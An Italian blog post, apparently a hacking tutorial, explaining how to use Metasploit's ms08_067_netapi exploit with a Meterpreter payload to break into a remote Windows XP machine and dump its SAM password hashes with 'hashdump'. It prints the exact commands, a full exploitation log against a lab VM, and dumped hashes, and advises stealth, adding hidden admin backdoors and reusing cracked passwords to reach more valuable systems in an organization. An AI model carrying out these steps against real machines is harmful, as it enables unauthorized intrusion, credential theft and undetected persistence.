Craccare le password di Windows è ormai un gioco da ragazzi. Addirittura con Kon-Boot è possibile loggarsi in qualsiasi Linux o Windows aggirando il meccanismo di autenticazione. Tutto questo a patto che si abbia accesso fisico alla macchina. Se il computer dal quale vogliamo prelevare (e quindi craccare) le password si trova in un luogo a noi inaccessibile (o in un altro continente…) le cose si complicano. Ma non troppo.
Questo articolo completa un precedente post: “Hackerare Windows con Metasploit“. Chi se lo è perso se lo vada a rileggere e poi si iscriva a PillolHacking.Net per evitare di perdere i prossimi articoli.
Nel suddetto articolo viene mostrato come accedere da remoto a Windows sfruttando un recente bug, utilizzando Metasploit Framework, potentissimo strumento per effettuare penetration test.
Il precedente articolo si fermava dopo avere effettuato l’intrusione. Questa volta parliamo di cosa fare dopo aver effettuato un accesso remoto sulla macchina target.
Avere accesso ad una shell Windows da remoto è molto utile e si possono già fare diverse cose per mantenere un accesso anche nel caso in cui il bug venisse patchato. Ricordo che entrare continuamente in un computer tramite un exploit non è un’idea brillante, per diversi motivi. Uno di questi è che aumenta il rischio di essere scoperti, e può bastare.
Quindi una volta entrati in un sistema è possibile installare una backdoor. Per esempio è possibile aggiungere un utente con privilegi di amministratore. Ma qualsiasi backdoor può essere scoperta.
Il modo migliore per effettuare un’intrusione furtiva, da autentico fantasma della rete, è entrare, prelevare il SAM database, ovvero il file dove vengono memorizzate le password cifrate, craccarle e tornare nel sistema come un qualsiasi utente autorizzato, il tutto senza dare nell’occhio. Per non dimenticare un altro aspetto del password cracking: spesso gli utenti usano la stessa password per diversi servizi/sistemi. Recuperando la password di un sistema può aprire le porte a sistemi ben più preziosi all’interno di una organizzazione.
Per ottenere il nostro scopo, ovvero prelevare il SAM database da remoto utilizzeremo uno strumento spettacolare: Meterpreter. Si tratta di un modulo di Metasploit per la fase di post-penetration. Viene iniettato direttamente dall’exploit nel sistema remoto e mette a disposizione dell’hacker un ambiente in grado di effettuare qualsiasi operazione sul sistema target. Prima della nascita di Meterpreter questa fase era assai più complessa, visto che prevede la necessità di caricare in qualche modo tools aggiuntivi sul server. Con Meterpreter non serve nulla. Eventuali nuovi moduli possono essere caricati con un semplice comando.
Torniamo alle password. Per recuperare il SAM database della macchina target utilizziamo il comando hashdump di Meterpreter. L’operazione è semplicissima: una volta effettuata l’intrusione è necessario attivare il modulo priv (user priv) e di seguito invocare il comando hashdump.
Per quanto riguarda i dettagli per effettuare l’intrusione rimando all’articolo già citato. La differenza da quell’aticolo è il payload utilizzato. Se in quell’occasione avevo utilizzato un semplice shell/bind_tcp:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
Questa volta uso meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
Questo è il log dell’esecuzione dell’exploit contro il mio Xp virtualizzato, la macchina più vulnerabile del pianeta, il cui indirizzo Ip è 192.168.132.128; la macchina dell’attaccante è una Batcktrack3 con Ip 192.168.132.129; l’exploit è il ms08_067_netapi:
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:Italian
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.132.129:58221 -> 192.168.132.128:4444)
meterpreter > use priv
[-] The ‘priv’ extension has already been loaded.
meterpreter > hashdump
Administrator:500:68a828b9dbd542feaad3b435b51404ee:0ebd3febdb972b9d9a164b72f321e341:::
pippo:1004:68a828b9dbd542feaad3b435b51404ee:0ebd3febdb972b9d9a164b72f321e341:::
meterpreter >
Il gioco è fatto! Il dump del SAM database è stato effettuato. A questo punto non rimane che passare alla fase di cracking.
David Bigagli